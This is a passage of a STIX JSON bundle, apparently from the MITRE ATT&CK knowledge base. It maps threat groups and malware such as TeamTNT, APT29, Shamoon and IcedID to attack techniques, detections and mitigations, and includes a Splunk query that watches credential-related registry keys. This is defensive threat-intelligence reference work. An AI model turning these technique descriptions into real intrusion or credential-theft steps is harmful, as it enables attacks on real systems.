2013)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4e6e0e27-75d3-4ecc-87d8-dba15663ae28","created":"2022-04-28T16:09:57.944Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. ","modified":"2022-04-28T16:09:57.944Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e73a249-94d5-4a52-9da4-a89da10d1c30","created":"2022-08-10T20:33:26.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.706Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has sent locally staged files with collected credentials to C2 servers using cURL.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e7404a5-2d19-48cc-b906-ab1aca4f4b08","created":"2021-04-16T21:33:50.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"},{"source_name":"MSTIC Nobelium Toolset May 2021","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.315Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used unique malware in many of their operations.(Citation: F-Secure The Dukes)(Citation: Mandiant No Easy Breach)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e7966c2-7ac7-4959-8ee0-dfc6d812e000","type":"relationship","created":"2021-06-02T16:06:40.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-02T16:06:40.941Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) can delete volume shadow copies on compromised hosts.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e7d7d9e-c3d5-4a9d-a948-d50724932321","created":"2024-06-18T19:45:21.467Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T19:45:21.467Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has lured targets into opening malicious .pdf files to deliver malware.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4e7f5747-be2c-4906-9c0d-090545be613e","created":"2023-04-11T03:27:27.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T16:56:53.176Z","description":"Monitor for the addition of network provider Registry keys (e.g., `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\\\NetworkProvider`).\n\nAnalytic 1 - Unauthorized addition of network provider Registry keys.\n\n sourcetype=WinEventLog:Security\n(EventCode=4663 OR EventCode=4657) \n| eval registry_path=mvindex(split(ObjectName,\"\\\\\"), 0, mvcount(split(ObjectName,\"\\\\\"))-1)\n| search registry_path IN (\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\", \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Authentication\", \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\LanmanWorkstation\\\\Parameters\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e86ae1c-a19a-4aad-a030-6102f9fb439e","type":"relationship","created":"2020-08-13T18:21:08.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2020-08-13T18:21:08.691Z","description":"[MCMD](https://attack.mitre.org/software/S0500) can launch a console process (cmd.exe) with redirected standard input and output.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e88ec20-d309-440d-a685-0d2abdc1d7ef","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"},{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}],"modified":"2020-05-18T19:37:52.441Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve OS name/architecture and computer/domain name information from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e8af8d8-f650-45b0-9113-2137deb8e6d5","type":"relationship","created":"2021-09-28T18:53:02.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T17:05:58.389Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can utilize cmd.exe to execute commands in a victim's environment.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4e937803-036e-4e3c-9b42-14b8e241e487","created":"2022-03-30T14:26:51.875Z","x_mitre_version":"0.1","external_references":[{"source_name":"Koczwara Beacon Hunting Sep 2021","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."},{"source_name":"Mandiant SCANdalous Jul 2020","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n","modified":"2022-04-20T02:30:02.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e949816-0200-45ed-b0c6-27afce63fd17","type":"relationship","created":"2020-01-28T14:05:17.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T18:12:36.833Z","description":"Use multi-factor authentication for user and privileged accounts.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e95e37e-76a0-498e-b46e-73a4fb639d3a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 RGDoor Jan 2018","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"}],"modified":"2020-03-17T02:29:15.873Z","description":"[RGDoor](https://attack.mitre.org/software/S0258) uses HTTP for C2 communications.(Citation: Unit 42 RGDoor Jan 2018)","relationship_type":"uses","source_ref":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"}],"modified":"2020-05-29T18:11:23.520Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named “ntssrv” to execute the payload. Newer versions create the \"MaintenaceSrv\" and \"hdv_725x\" services.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ea07638-aca6-400b-9979-26b9002e990c","created":"2021-11-29T16:31:50.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.081Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can capture screenshots from a compromised host.(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4eaced08-4f7d-4085-be86-05e3304792d3","created":"2024-09-05T22:21:15.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"},{"source_name":"Trendmicro_IcedID","description":"Kenefick , I. (2022, December 23). IcedID Botnet Distributors Abuse Google PPC to Distribute Malware. Retrieved July 24, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:44:50.423Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has used rundll32.exe to execute the [IcedID](https://attack.mitre.org/software/S0483) loader.(Citation: Trendmicro_IcedID)(Citation: DFIR_Quantum_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4eb00375-3ee3-43c7-845a-2206e1eff114","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."},{"source_name":"Talos Group123","url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018."},{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ROKRAT](https://attack.mitre.org/software/S0240) can check for debugging tools.(Citation: Talos Group123)(Citation: NCCGroup RokRat Nov 2018)(Citation: Malwarebytes RokRAT VBA January 2021)","modified":"2022-04-18T13:47:06.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4eb0635f-1851-4516-a584-4d5ff3c2e078","created":"2022-06-09T21:19:30.591Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) can identify the OS version, CPU, and other details from a victim's machine.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-08-03T15:03:18.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4eb49eb3-c10c-4bbe-9921-b691ddba0b12","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4eb5fba5-be97-4103-9b52-f77e02765fad","type":"relationship","created":"2020-03-17T16:17:15.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-17T16:17:15.348Z","description":"[APT1](https://attack.mitre.org/groups/G0006) uses two utilities, GETMAIL and MAPIGET, to steal email. MAPIGET steals email still on Exchange servers that has not yet been archived.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ebab62f-3e2f-49b9-881d-26d2141d3e0b","created":"2021-09-15T18:02:37.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"},{"source_name":"Symantec WastedLocker June 2020","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T18:13:40.677Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) used [PsExec](https://attack.mitre.org/software/S0029) to leverage Windows Defender to disable scanning of all downloaded files and to restrict real-time monitoring.(Citation: Symantec WastedLocker June 2020) [Indrik Spider](https://attack.mitre.org/groups/G0119) has used `MpCmdRun` to revert the definitions in Microsoft Defender.(Citation: Mandiant_UNC2165) Additionally, [Indrik Spider](https://attack.mitre.org/groups/G0119) has used WMI to stop or uninstall and reset anti-virus products and other defensive services.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ebbf5d1-0205-4899-9d08-8a9601355c64","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft ADS Mar 2014","description":"Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.","url":"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"},{"source_name":"Oddvar Moe ADS1 Jan 2018","description":"Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.","url":"https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"},{"source_name":"Oddvar Moe ADS2 Apr 2018","description":"Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.","url":"https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"}]},{"type":"relationship","id":"relationship--4ebc45da-6c79-4d9f-9c25-144ff55f70c9","created":"2024-01-18T18:47:16.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T20:58:41.440Z","description":"[Ninja](https://attack.mitre.org/software/S1100) has the ability to enumerate directory content.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ebc7501-9471-4f37-92e1-8711073bd062","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2019-05-10T12:14:32.234Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) is capable of using Windows hook interfaces for information gathering such as credential access.(Citation: 